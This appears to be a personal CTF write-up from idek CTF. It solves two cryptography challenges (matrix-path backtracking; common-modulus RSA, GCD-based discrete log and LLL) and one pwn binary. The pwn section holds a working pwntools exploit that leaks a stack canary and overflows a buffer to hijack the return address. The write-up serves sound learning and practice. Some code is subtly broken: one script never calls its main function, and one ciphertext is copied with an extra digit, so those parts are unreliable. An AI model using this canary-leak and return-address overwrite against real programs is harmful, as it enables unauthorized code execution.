During the weekend, I participated in Idek CTF... which is something new to me 😅 # CryptoGraphy ## Catch ![Ảnh chụp màn hình 2025-08-04 020941](https://hackmd.io/_uploads/B127V4pvxl.png) **Challenge:** In this 20-round challenge, we must find the secret sequence of matrix transformations a "cat" uses to move from a starting coordinate to a final one. chall.py ```python from Crypto.Random.random import randint, choice import os # In a realm where curiosity roams free, our fearless cat sets out on an epic journey. # Even the cleverest feline must respect the boundaries of its world—this magical limit holds all wonders within. limit = 0xe5db6a6d765b1ba6e727aa7a87a792c49bb9ddeb2bad999f5ea04f047255d5a72e193a7d58aa8ef619b0262de6d25651085842fd9c385fa4f1032c305f44b8a4f92b16c8115d0595cebfccc1c655ca20db597ff1f01e0db70b9073fbaa1ae5e489484c7a45c215ea02db3c77f1865e1e8597cb0b0af3241cd8214bd5b5c1491f # Through cryptic patterns, our cat deciphers its next move. def walking(x, y, part): # Each step is guided by a fragment of the cat's own secret mind. epart = [int.from_bytes(part[i:i+2], "big") for i in range(0, len(part), 2)] xx = epart[0] * x + epart[1] * y yy = epart[2] * x + epart[3] * y return xx, yy # Enter the Cat: curious wanderer and keeper of hidden paths. class Cat: def __init__(self): # The cat's starting position is born of pure randomness. self.x = randint(0, 2**256) self.y = randint(0, 2**256) # Deep within, its mind holds a thousand mysterious fragments. while True: self.mind = os.urandom(1000) self.step = [self.mind[i:i+8] for i in range(0, 1000, 8)] if len(set(self.step)) == len(self.step): break # The epic chase begins: the cat ponders and strides toward the horizon. def moving(self): for _ in range(30): # A moment of reflection: choose a thought from the cat's endless mind. part = choice(self.step) self.step.remove(part) # With each heartbeat, the cat takes a cryptic step. xx, yy = walking(self.x, self.y, part) self.x, self.y = xx, yy # When the wild spirit reaches the edge, it respects the boundary and pauses. if self.x > limit or self.y > limit: self.x %= limit self.y %= limit break # When the cosmos beckons, the cat reveals its secret coordinates. def position(self): return (self.x, self.y) # Adventurer, your quest: find and connect with 20 elusive cats. for round in range(20): try: print(f"👉 Hunt {round+1}/20 begins!") cat = Cat() # At the start, you and the cat share the same starlit square. human_pos = cat.position() print(f"🐱✨ Co-location: {human_pos}") print(f"🔮 Cat's hidden mind: {cat.mind.hex()}") # But the cat, ever playful, dashes into the unknown... cat.moving() print("😸 The chase is on!") print(f"🗺️ Cat now at: {cat.position()}") # Your turn: recall the cat's secret path fragments to catch up. mind = bytes.fromhex(input("🤔 Path to recall (hex): ")) # Step by step, follow the trail the cat has laid. for i in range(0, len(mind), 8): part = mind[i:i+8] if part not in cat.mind: print("❌ Lost in the labyrinth of thoughts.") exit() human_pos = walking(human_pos[0], human_pos[1], part) # At last, if destiny aligns... if human_pos == cat.position(): print("🎉 Reunion! You have found your feline friend! 🐾") else: print("😿 The path eludes you... Your heart aches.") exit() except Exception: print("🙀 A puzzle too tangled for tonight. Rest well.") exit() # Triumph at last: the final cat yields the secret prize. print(f"🏆 Victory! The treasure lies within: {open('flag.txt').read()}") ``` ### Analysis The core of the challenge is a linear transformation. In each step, the cat's 2D position vector $v_{old}$ is multiplied by a $2 \times 2$ matrix $M$ to get its new position $v_{new}$: $$\begin{pmatrix} x_{new} \\ y_{new} \end{pmatrix} = M \begin{pmatrix} x_{old} \\ y_{old} \end{pmatrix}$$ For each round, we are given: * An initial position $v_0 = (x_0, y_0)$. * A final position $v_f = (x_f, y_f)$. * A set of 125 unique 8-byte "parts," each corresponding to a unique $2 \times 2$ transformation matrix $M$. The script reveals that the cat performs **30 unique, randomly chosen transformations** in sequence. If the sequence of matrices is $M_1, M_2, \ldots, M_{30}$, the final position is: $$v_f = M_{30} \cdot M_{29} \cdot \ldots \cdot M_1 \cdot v_0$$ A `limit` check in the code seems to suggest the coordinates might be taken modulo a large number. However, a quick analysis of the bit-length growth shows that the coordinates never grow large enough in 30 steps to exceed the `limit`. Thus, the modulo operation is a red herring, and the problem is purely over the integers. The primary difficulty is the massive search space. Finding the correct ordered subset of 30 matrices from 125 ($P(125, 30) = \frac{125!}{95!}$) is impossible by brute force. ### Recursive Backtracking The vulnerability lies in the fact that every intermediate step must result in a vector with **integer coordinates**. This allows us to work backward from the final position. Let $v_{29}$ be the position just before the final step. The final transformation is $v_f = M_{30} \cdot v_{29}$. We can solve for the previous state $v_{29}$ by inverting the matrix $M_{30}$: $$v_{29} = M_{30}^{-1} \cdot v_f$$ The inverse of a $2 \times 2$ matrix is $M^{-1} = \frac{1}{\det(M)} \cdot \text{adj}(M)$. For $v_{29}$ to have integer coordinates, the vector multiplication $\text{adj}(M_{30}) \cdot v_f$ must produce a result that is component-wise divisible by $\det(M_{30})$. This gives us a highly effective way to find the last matrix, $M_{30}$: 1. Iterate through all 125 possible matrices. 2. For each candidate matrix $M_i$, check if $\text{adj}(M_i) \cdot v_f$ is divisible by $\det(M_i)$. 3. The probability of this check passing for an incorrect matrix is extremely low. The one that passes is almost certainly the true $M_{30}$. Once we find $M_{30}$ and calculate the integer coordinates for $v_{29}$, we can repeat the process recursively to find $M_{29}$, and so on, until we have uncovered the entire 30-step path from $v_0$. This backtracking approach prunes the search tree so effectively that the solution is found almost instantly. ### Solution exploit.py ```python from pwn import * HOST = "catch.chal.idek.team" PORT = 1337 # Memoization cache for the recursive solver memo = {} def get_matrix_from_part(part: bytes) -> list[int]: """Parses an 8-byte part into four 2-byte integers.""" return [int.from_bytes(part[i:i+2], "big") for i in range(0, len(part), 2)] def find_path(v_start: tuple, v_end: tuple, parts_map: dict, k: int) -> list | None: """ Recursively finds the sequence of k parts to get from v_start to v_end. """ # Memoization key: (start_pos, end_pos, available_parts_tuple, num_steps) state = (v_start, v_end, tuple(sorted(parts_map.keys())), k) if state in memo: return memo[state] if k == 0: return [] if v_start == v_end else None x_start, y_start = v_start x_end, y_end = v_end # Search backwards from v_end for part_hex, part_bytes in parts_map.items(): e = get_matrix_from_part(part_bytes) # M = [[e0, e1], [e2, e3]] det = e[0] * e[3] - e[1] * e[2] if det == 0: continue # Calculate potential previous state: v_prev = adj(M) * v_end x_prev_num = e[3] * x_end - e[1] * y_end y_prev_num = -e[2] * x_end + e[0] * y_end # Check for integer coordinates, which is the key constraint if x_prev_num % det == 0 and y_prev_num % det == 0: x_prev = x_prev_num // det y_prev = y_prev_num // det # Recurse with the smaller problem remaining_parts = parts_map.copy() del remaining_parts[part_hex] path_result = find_path((x_start, y_start), (x_prev, y_prev), remaining_parts, k - 1) if path_result is not None: # Path found, construct solution and store in memo solution = path_result + [part_bytes] memo[state] = solution return solution # No path found from this state memo[state] = None return None def solve_round(io: remote): """Parses a round's data and initiates the solver.""" io.recvuntil(b"Co-location: (") x0 = int(io.recvuntil(b",", drop=True)) y0 = int(io.recvuntil(b")", drop=True)) io.recvuntil(b"Cat's hidden mind: ") mind_hex = io.recvline().strip().decode() io.recvuntil(b"Cat now at: (") xf = int(io.recvuntil(b",", drop=True)) yf = int(io.recvuntil(b")", drop=True)) mind_bytes = bytes.fromhex(mind_hex) parts_map = {mind_bytes[i:i+8].hex(): mind_bytes[i:i+8] for i in range(0, len(mind_bytes), 8)} k = 30 log.info(f"Solving for k={k} steps...") path = find_path((x0, y0), (xf, yf), parts_map, k) if path: solution_hex = b"".join(path).hex() log.success("Path found!") # pwntools handles str->bytes encoding automatically, no b"" needed for the prompt io.sendlineafter("🤔 Path to recall (hex): ".encode(), solution_hex.encode()) else: log.error("Failed to find a path for this round.") io.close() def main(): """Main function to run the solver for all rounds.""" with remote(HOST, PORT) as io: for i in range(20): log.info(f"--- Starting Round {i + 1}/20 ---") memo.clear() # Clear memoization cache for each new round solve_round(io) log.info(io.recvline().strip().decode()) # Print success message flag = io.recvall().decode() log.success(flag) if __name__ == "__main__": main ``` ![Ảnh chụp màn hình 2025-08-04 021204](https://hackmd.io/_uploads/SyKCVEpPxl.png) > Flag: idek{Catch_and_cat_sound_really_similar_haha} --- ## Diamond Ticket ![Ảnh chụp màn hình 2025-08-05 114247](https://hackmd.io/_uploads/BJM-3WyOge.png) This crypto challenge was a fun, multi-stage problem involving a common modulus attack, a tricky discrete logarithm problem solved with polynomial GCDs, and finally, a lattice attack to recover the full flag from partial information. chall.py ```python from Crypto.Util.number import * #Some magic from Willy Wonka p = 170829625398370252501980763763988409583 a = 164164878498114882034745803752027154293 b = 125172356708896457197207880391835698381 def chocolate_generator(m:int) -> int: return (pow(a, m, p) + pow(b, m, p)) % p #The diamond ticket is hiding inside chocolate diamond_ticket = open("flag.txt", "rb").read() assert len(diamond_ticket) == 26 assert diamond_ticket[:5] == b"idek{" assert diamond_ticket[-1:] == b"}" diamond_ticket = bytes_to_long(diamond_ticket[5:-1]) flag_chocolate = chocolate_generator(diamond_ticket) chocolate_bag = [] #Willy Wonka are making chocolates for i in range(1337): chocolate_bag.append(getRandomRange(1, p)) #And he put the golden ticket at the end chocolate_bag.append(flag_chocolate) #Augustus ate lots of chocolates, but he can't eat all cuz he is full now :D remain = chocolate_bag[-5:] #Compress all remain chocolates into one remain_bytes = b"".join([c.to_bytes(p.bit_length()//8, "big") for c in remain]) #The last chocolate is too important, so Willy Wonka did magic again P = getPrime(512) Q = getPrime(512) N = P * Q e = bytes_to_long(b"idek{this_is_a_fake_flag_lolol}") d = pow(e, -1, (P - 1) * (Q - 1)) c1 = pow(bytes_to_long(remain_bytes), e, N) c2 = pow(bytes_to_long(remain_bytes), 2, N) # A small gift #How can you get it ? print(f"{N = }") print(f"{c1 = }") print(f"{c2 = }") """ N = 85494791395295332945307239533692379607357839212287019473638934253301452108522067416218735796494842928689545564411909493378925446256067741352255455231566967041733698260315140928382934156213563527493360928094724419798812564716724034316384416100417243844799045176599197680353109658153148874265234750977838548867 c1 = 27062074196834458670191422120857456217979308440332928563784961101978948466368298802765973020349433121726736536899260504828388992133435359919764627760887966221328744451867771955587357887373143789000307996739905387064272569624412963289163997701702446706106089751532607059085577031825157942847678226256408018301 c2 = 30493926769307279620402715377825804330944677680927170388776891152831425786788516825687413453427866619728035923364764078434617853754697076732657422609080720944160407383110441379382589644898380399280520469116924641442283645426172683945640914810778133226061767682464112690072473051344933447823488551784450844649 """ ``` ### Part 1: Recovering the Message recovering remain_bytes We are given two ciphertexts under the same modulus $N$: - $c_1 = rb^e \bmod N$ - $c_2 = rb^2 \bmod N$ Since $e$ and $2$ are coprime, this is a classic common modulus attack. We use the Extended Euclidean Algorithm to find integers $x$ and $y$ such that $e x + 2 y = 1$. With $x$ and $y$, we can recover $rb$ directly: $$ rb = (c_1^x \cdot c_2^y) \bmod N $$ The last 16 bytes of $rb$ correspond to `flag_chocolate`. ```python from Crypto.Util.number import * N = 85494791395295332945307239533692379607357839212287019473638934253301452108522067416218735796494842928689545564411909493378925446256067741352255455231566967041733698260315140928382934156213563527493360928094724419798812564716724034316384416100417243844799045176599197680353109658153148874265234750977838548867 c1 = 270620741968344586701914221208574562179793084403329285637849611019789484663682988027659730203494331217267365368992605048283888992133435359919764627760887966221328744451867771955587357887373143789000307996739905387064272569624412963289163997701702446706106089751532607059085577031825157942847678226256408018301 c2 = 30493926769307279620402715377825804330944677680927170388776891152831425786788516825687413453427866619728035923364764078434617853754697076732657422609080720944160407383110441379382589644898380399280520469116924641442283645426172683945640914810778133226061767682464112690072473051344933447823488551784450844649 e = bytes_to_long(b"idek{this_is_a_fake_flag_lolol}") x = 1 y = (1 - e) // 2 rb = pow(c1, x, N) * pow(c2, y, N) % N flag_chocolate = bytes_to_long(rb.to_bytes(80, "big")[-16:]) ``` ### Part 2: Solving the Discrete Log After recovering `flag_chocolate` (let's call it `fc`), we had to solve for the diamond ticket ($m$): $$ a^m + b^m \equiv fc \pmod p $$ Here, $b$ is some power of $a$: $b = a^j \pmod p$. Substitute and let $s = a^m$: $$ s^j + s - fc \equiv 0 \pmod p $$ This polynomial is infeasible to solve by brute force for large $j$. By Fermat's Little Theorem, any solution $s$ must satisfy $s^p \equiv s \pmod p$. So, compute the GCD: $$ H(s) = \gcd(s^j + s - fc, s^p - s) \pmod p $$ The roots of $H(s)$ are the possible $s = a^m$. ```python # SageMath code p = 170829625398370252501980763763988409583 a = 164164878498114882034745803752027154293 b = 125172356708896457197207880391835698381 flag_chocolate = 99584795316725433978492646071734128819 Fp = GF(p) j = Fp(b).log(Fp(a)) # j = 73331 x = polygen(Fp) f = x**j + x - flag_chocolate g = pow(x, p, f) - x roots = f.gcd(g).roots() s = roots[0][0] m_low = int(Fp(s).log(Fp(a))) ``` *I learned this trick from https://adib.au/2025/lance-hard/#speedup-by-using-gcd and met it again at MaltaCTF 2025 Quals - grammar-nazi. Really cool trick to know!* ### Part 3: Finding the Golden Ticket The discrete log $m_\text{low}$ gives us the solution modulo $p-1$ (128 bits). The flag is 20 bytes (160 bits), so we need to find the missing upper 32 bits. We know: $$ \text{flag} = m_\text{low} + k \cdot (p-1) $$ Since the flag is a printable ASCII string, we use a lattice reduction (LLL) attack to efficiently search for the correct $k$. - Construct a lattice encoding the flag structure. - Use LLL to find short vectors corresponding to printable flags. - Check candidates for ASCII-printability. ```python from sage.all import * from Crypto.Util.number import * from cpmpy import * order = p - 1 flag_byte_len = 20 nn = (p - 1) // 2 xx = m_low for ii in range(2): x_candidate = xx + ii * nn B = Matrix(ZZ, flag_byte_len + 1, flag_byte_len + 1) B[0,0] = 1 for i in range(flag_byte_len): B[i+1, i] = 1 B[0, i+1] = -(256**i) B[0, flag_byte_len] = x_candidate B[flag_byte_len, flag_byte_len] = order L = B.LLL() for row in L: flag_bytes = b"" possible = True for val in row[:-1]: if 32 <= val <= 126: flag_bytes += int(val).to_bytes(1, 'big') else: possible = False break if possible and len(flag_bytes) == flag_byte_len: print(f"[+] Found potential flag: {flag_bytes.decode()}") if "tks" in flag_bytes.decode(): print(f"\n[!] Final Flag: idek{{{flag_bytes.decode()}}}") exit() ``` ### Solution ```python # Full exploit script requires SageMath environment from sage.all import * from Crypto.Util.number import * N = 85494791395295332945307239533692379607357839212287019473638934253301452108522067416218735796494842928689545564411909493378925446256067741352255455231566967041733698260315140928382934156213563527493360928094724419798812564716724034316384416100417243844799045176599197680353109658153148874265234750977838548867 c1 = 27062074196834458670191422120857456217979308440332928563784961101978948466368298802765973020349433121726736536899260504828388992133435359919764627760887966221328744451867771955587357887373143789000307996739905387064272569624412963289163997701702446706106089751532607059085577031825157942847678226256408018301 c2 = 30493926769307279620402715377825804330944677680927170388776891152831425786788516825687413453427866619728035923364764078434617853754697076732657422609080720944160407383110441379382589644898380399280520469116924641442283645426172683945640914810778133226061767682464112690072473051344933447823488551784450844649 e = bytes_to_long(b"idek{this_is_a_fake_flag_lolol}") Zn = Zmod(N) PR, x = PolynomialRing(Zn, 'x').objgen() f2 = x**2 - c2 QR, y = PR.quotient(f2, 'y').objgen() f1 = y**e - c1 flag_chocolate = bytes_to_long(int(-f1[0]/f1[1]).to_bytes(128, "big")[-16:]) print(f"{flag_chocolate = }") p = 170829625398370252501980763763988409583 a = 164164878498114882034745803752027154293 b = 125172356708896457197207880391835698381 Fp = GF(p) j = Fp(b).log(Fp(a)) print(f"{j = }") x = polygen(Fp) print("Calculate f") f = x**j + x - flag_chocolate print("Calculate g") g = pow(x, p, f) - x print("Gcd") roots = f.gcd(g).roots() print(roots) rlog = [] for c, _ in roots: try: rlog.append(int(Fp(c).log(Fp(a)))) print(c) except: continue print(len(rlog)) from cpmpy import * import re nn = 85414812699185126250990381881994204791 xx = rlog[0] for ii in range(10): x = xx + ii * nn print(x) M = matrix(20, 20) M[0,0] = p - 1 for i in range(19): M[i+1,i:i+2] = [[-256, 1]] M = M.LLL().rows() x_vec = [(x >> 8*i) & 0xff for i in range(20)] M += [tuple(x_vec)] m = Matrix(M) def disp(): flag = bytes(x.value())[-8::-8].decode() if re.fullmatch(r'\w+', flag): print(flag, '<--- WIN') else: print(flag) x = cpm_array(list(intvar(-9999, 9999, 20)) + [1]) @ m[:] Model([x >= 32, x <= 122]).solveAll(display=disp) ``` After running the lattice attack, the script finds the plaintext: `tks_f0r_ur_t1ck3t_xD` --> you win ![Ảnh chụp màn hình 2025-08-05 115258](https://hackmd.io/_uploads/rk8PAZ1_lx.png) > Flag: idek{tks_f0r_ur_t1ck3t_xD} *I love author [Giáp](https://giapppp.github.io/)* 🥰 # Pwn ![Ảnh chụp màn hình 2025-08-04 030338](https://hackmd.io/_uploads/HJk0lrpwxx.png) This challenge requiring the player to exploit a C program to gain control and read the contents of the flag file. The solution involves chaining two common vulnerabilities: an information leak to bypass the stack canary protection and a buffer overflow to hijack the program's control flow. ## Vulnerability Analysis After analyzing the program's source code and behavior, we identified two critical security vulnerabilities: ### Vuln 1: Stack Buffer Overflow The main vulnerability lies in the `edit_friend` function ![Ảnh chụp màn hình 2025-08-04 111026](https://hackmd.io/_uploads/HyUbQnavgg.png) ```c void edit_friend(char (*top_friends)[8]) { // ... puts("Enter new name: "); fgets(top_friends[iVar2], 0x100, stdin); // VULN IS HERE // ... } ``` - The `fgets` function is configured to read up to 0x100 (256) bytes of data from the user. - However, the destination buffer is only 8 bytes, leading to a **stack buffer overflow**. - This allows overwriting the **saved RBP** and **return address**. ### Vuln 2: Information Leak To bypass the stack canary protection, exploit another in the `display_friend` function ![Ảnh chụp màn hình 2025-08-04 111136](https://hackmd.io/_uploads/ryPE7npwgx.png) ```c void display_friend(char (*top_friends)[8]) { // ... (gets index from user) write(1, top_friends + iVar2, 8); // VULN IS HERE // ... } ``` - This function prints exactly 8 bytes from the selected memory region. - Due to a possible **index validation bug** (e.g., signed/unsigned comparison), it’s possible to **read out-of-bounds** memory. - This enables leaking the **stack canary** located at `rbp - 0x8`. ### Another func `main` ```c /* WARNING: Unknown calling convention */ int main(void) { long lVar1; int iVar2; long in_FS_OFFSET; int option; char top_friends [8] [8]; char buf [40]; lVar1 = *(long *)(in_FS_OFFSET + 0x28); setvbuf(stdout,(char *)0x0,2,0); puts("I really miss MySpace. At least the part about ranking my friends. Let\'s recreate it!"); builtin_strncpy(top_friends[0],"es3n1n",7); top_friends[0][7] = '\0'; builtin_strncpy(top_friends[1],"Zero",5); top_friends[1][5] = '\0'; top_friends[1][6] = '\0'; top_friends[1][7] = '\0'; builtin_strncpy(top_friends[2],"Contron",8); builtin_strncpy(top_friends[3],"mixy1",6); top_friends[3][6] = '\0'; top_friends[3][7] = '\0'; builtin_strncpy(top_friends[4],"JoshL",6); top_friends[4][6] = '\0'; top_friends[4][7] = '\0'; builtin_strncpy(top_friends[5],"Giapppp",8); builtin_strncpy(top_friends[6],"Icesfont",8); builtin_strncpy(top_friends[7],"arcticx",8); LAB_00401636: menu(); fgets(buf,0x28,stdin); iVar2 = FUN_00401160(buf); if (iVar2 == 4) { if (lVar1 == *(long *)(in_FS_OFFSET + 0x28)) { return 0; } /* WARNING: Subroutine does not return */ __stack_chk_fail(); } if (iVar2 < 5) { if (iVar2 == 3) { display_friend(top_friends); goto LAB_00401636; } if (iVar2 < 4) { if (iVar2 == 1) { all_friends(top_friends); } else { if (iVar2 != 2) goto LAB_004016cd; edit_friend(top_friends); } goto LAB_00401636; } } LAB_004016cd: puts("Invalid option."); goto LAB_00401636; } ``` `get_flag` ![Ảnh chụp màn hình 2025-08-04 111305](https://hackmd.io/_uploads/B15tQn6wxg.png) ## Exploit The attack is carried out in two main stages: ### Stage 1: Leak the Stack Canary - Call `display_friend` (option 3). - The canary is located at offset `(0x70 - 0x8)/8 = 13`. - Input index = 13 to leak it. - The program prints `Invalid index!` before printing the canary — skip this line and read the next 8 bytes. ### Stage 2: Buffer Overflow and Hijack Control Flow - Call `edit_friend` (option 2). - Create a payload: - 104 bytes padding - 8-byte canary - 8-byte filler for saved RBP - 8-byte address of `get_flag` function (`0x40129d`) - Quit the program → `main` returns → control jumps to `get_flag()` → reads the flag. ## Solution exploit.py ```python #!/usr/bin/env python3 from pwn import * context.binary = elf = ELF('./myspace2', checksec=False) p = remote('myspace2.chal.idek.team', 1337) # STEP 1: LEAK THE STACK CANARY log.info("Leaking the stack canary...") p.sendlineafter(b'>> ', b'3') p.sendlineafter(b'(0-7): ', b'13') # index 13 to leak canary p.recvuntil(b'Invalid index!\n') # skip the error message canary = u64(p.recvn(8)) log.success(f"Canary leaked successfully: {hex(canary)}") # STEP 2: CRAFT PAYLOAD AND OVERWRITE get_flag_address = elf.symbols['get_flag'] log.info("Crafting the exploit payload...") payload = flat([ b'A' * 104, # padding canary, # leaked canary b'B' * 8, # filler for saved RBP get_flag_address # return address → get_flag ]) log.info(f"Payload ready. Redirecting execution to get_flag() at {hex(get_flag_address)}") p.sendlineafter(b'>> ', b'2') p.sendlineafter(b'(0-7): ', b'0') # any index p.sendlineafter(b'new name: ', payload) # STEP 3: TRIGGER AND GET THE FLAG log.info("Triggering exploit by quitting the program...") p.sendlineafter(b'>> ', b'4') flag = p.recvall().decode().strip() log.success(f"Exploit successful! FLAG: {flag}") ``` ![Ảnh chụp màn hình 2025-08-04 010405](https://hackmd.io/_uploads/HkwiWBTDgg.png) > Flag: idek{b4bys_1st_c00k1e_leak_yayyy!}